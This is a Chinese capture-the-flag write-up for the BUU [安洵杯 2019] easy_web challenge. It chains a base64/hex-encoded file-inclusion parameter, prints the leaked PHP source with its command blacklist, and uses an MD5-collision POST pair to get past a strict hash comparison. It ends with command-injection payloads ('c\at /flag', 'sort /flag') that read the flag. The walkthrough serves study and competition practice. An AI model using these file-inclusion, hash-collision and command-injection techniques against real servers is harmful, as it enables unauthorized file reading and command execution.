BUU [安洵杯 2019]easy_web

简介: BUU [安洵杯 2019]easy_web

BUU [安洵杯 2019]easy_web

先看题目,没有什么信息。

源码里面有点东西,解个base64看看。

应该是个图片,就是一开始那个熊猫头。再看看,注意到url上面的参数。

TXpVek5UTTFNbVUzTURabE5qYz0
MzUzNTM1MmU3MDZlNjc=   //(base64)
3535352e706e67   //(base64)
555.png   //(十六进制转字符串)

那按这个道理,能不能包含他的index.php,试试,?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,果然有用。这个直接变成了源码的base64编码。

解码得。(所以这里考文件包含)

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} 
****************************************************************************************
else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
*****************************************************************************************
?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

仔细读一下。不能直接包含flag。过滤的有点多,满足(string)P O S T [ ′ a ′ ] ! = = ( s t r i n g ) _POST['a'] !== (string) POST[‘b’] && md5(P O S T [ ′ a ′ ] ) = = = m d 5 ( _POST['a']) === md5( POST[‘b’])就能执行cmd。因为有(string)强制类型转换,所以不能数组绕过。

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

一开始MD5一直过不去,后来看了别人的wp,受益匪浅(小细节):

解法一:(所以这里考RCE

使用了两个反斜杠和四个反斜杠来过滤,但正则表达式中需要三个反斜杠才可以匹配到一个真正的反斜杠,所以实际上反斜杠没有被过滤。

 传入ca\t时,\\, \\\\, \t,是匹配不上的,\\t, \\\t竟然也匹配不上 , 直到用了\\\\t才匹配上  
cmd=c\at%20/flag

解法二:

也可以使用linux下的sort命令来进行文件读取 :

sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。

cmd=sort /flag

目录
相关文章
|
存储 移动开发 安全
开心档之C++ Web 编程 2
开心档之C++ Web 编程
42 0
|
2月前
|
JSON JavaScript 前端开发
蓝桥杯web组赛题解析和杯赛技巧
本文作者是一位自学前端两年半的大一学生,在第十五届蓝桥杯Web组比赛中获得省一和国三。文章详细解析了比赛题纲,涵盖HTML、CSS、JavaScript、Echarts和Vue等技术要点,并分享了备赛技巧和比赛经验。作者强调了多写代码和解题思路的重要性,同时提供了省赛和国赛的具体流程及注意事项。希望对参赛者有所帮助。
85 3
|
5月前
|
数据库连接 数据库 开发者
【独家揭秘】零基础小白如何逆袭?——这份Web2py入门秘籍让你轻松打造个人首个Web应用,绝不错过!
【8月更文挑战第31天】本文通过实际操作指导读者从零开始使用Web2py框架创建首个Web应用。内容涵盖环境搭建、数据库模型定义、控制器与视图设计等核心环节。通过一步步详细说明,帮助开发者掌握关键概念与最佳实践,实现应用从创建到部署的全过程。适合初学者快速上手并应用于实际项目中。
64 2
|
5月前
|
数据安全/隐私保护
NSS [SWPUCTF 2022 新生赛]funny_web
NSS [SWPUCTF 2022 新生赛]funny_web
64 0
|
JSON JavaScript 应用服务中间件
【1024杯】web
【1024杯】web
105 0
|
8月前
|
存储 前端开发 网络安全
今年十八,喜欢ctf-web
今年十八,喜欢ctf-web
66 0
|
移动开发 Shell C++
开心档之C++ Web 编程 1
开心档之C++ Web 编程
43 0
|
存储 移动开发 Shell
开心档之C++ Web 编程
开心档之C++ Web 编程
|
PHP 容器
[ctfshow]击剑杯 web
[ctfshow]击剑杯 web
149 0
|
SQL Shell API
ctfshow-web【七夕杯】
ctfshow-web【七夕杯】
158 0